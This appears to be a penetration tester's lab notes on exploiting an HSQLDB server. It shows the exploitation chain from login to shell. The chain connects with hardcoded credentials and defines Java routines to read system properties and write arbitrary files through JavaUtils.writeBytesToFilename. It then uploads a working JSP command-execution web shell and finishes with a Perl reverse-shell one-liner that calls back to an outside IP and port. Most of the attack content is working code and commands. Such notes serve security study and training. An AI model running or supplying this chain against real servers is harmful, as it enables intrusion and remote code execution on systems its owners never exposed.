HSQLDB

R3zk0n · October 2, 2025

Contents
    java -cp ./hsqldb.jar org.hsqldb.util.DatabaseManagerSwing --url jdbc:hsqldb:hsql://192.168.228.126:9001/CRX --user sa --password manager99
    

    Resource: https://hsqldb.org/doc/2.0/guide/running-chapt.html

    HyperSQL Database (HSQLDB) is a modern relational database system - for Java. They support the use of Java Language Routines (JRT):

    • http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_routines

    JRTs can be defined as functions or procedures. Functions can be used as part of a normal SQL statement if the Java method returns a variable. If the Java method we want to call returns void, we need to use a procedure. Procedures are invoked with a CALL statement.

    List of methods (Oracle Java):

    • https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html (List of output variables)
    • Example: "java.class.path" Path used to find directories and JAR archives containing class files. Elements of the class path are separated by a platform-specific character specified in the path.separator property.
     CREATE FUNCTION systemprop(IN key VARCHAR) RETURNS VARCHAR 
      LANGUAGE JAVA 
      DETERMINISTIC NO SQL
      EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
    

    Once the function is created, we need to call it. However, functions are not the same as tables and we cannot select from them directly in a SELECT statement unless we are including a table:

    • VALUES(systemprop('java.class.path'))

    For exploitation, we are very limited - We have the following restrictions:

    • The method must be static.
    • The method parameters must be primitives or types that map to SQL types.
    • The method must return a primitive, an object that maps to a SQL type, or void.
    • The method must run code directly or write files to the system.
    • In Java, all methods must include a return type. The void keyword is used when a method does not return a value.

    We need to search the codebase for a standard method with these properties.

    • Before Java 9 Standard Library: /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar
      • https://javarevisited.blogspot.com/2015/01/what-is-rtjar-in-javajdkjre-why-its-important.html#axzz7URzG8ztU
    • Cannot search specified strings in JD-GUI, so outsource and unzip to VSCode
    • Regex search:
      • The method must be static: public static void \w+\(String
      • com.sun.org.apache.xml.internal.security.utils.JavaUtils inside /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar

    image

    + The method parameters must be primitives or types that map to SQL types:
      + String: CHAR or VARCHAR
      + byte[]: BINARY or VARBINARY
      + return void
    
    CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfbyte VARBINARY(1024))
      LANGUAGE JAVA DETERMINISTIC NO SQL
      EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
    
    # Calling a function using "call"
    call writeBytesToFilename('test.txt', cast ('497420776f726b656421' AS VARBINARY(1024)))
    

    Uploading Shell

    • JSP Shell from /usr/share/webshells since it involves JSP application
    • Upload to same directory where shells are chose from
    • Ensure that ASCII binary payload less than 1024 bytes
    • Use linux version
    <%@ page import="java.io.*" %>
    <%
       String cmd = request.getParameter("cmd");
       String output = "";
    
       if(cmd != null) {
          String s = null;
          try {
             Process p = Runtime.getRuntime().exec(cmd);
             BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
             while((s = sI.readLine()) != null) {
                output += s;
             }
          }
          catch(IOException e) {
             e.printStackTrace();
          }
       }
    %>
    
    <pre>
    <%=output %>
    </pre>
    

    Interactive Shell

    use Socket;$i="192.168.119.184";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
    

    Twitter, Facebook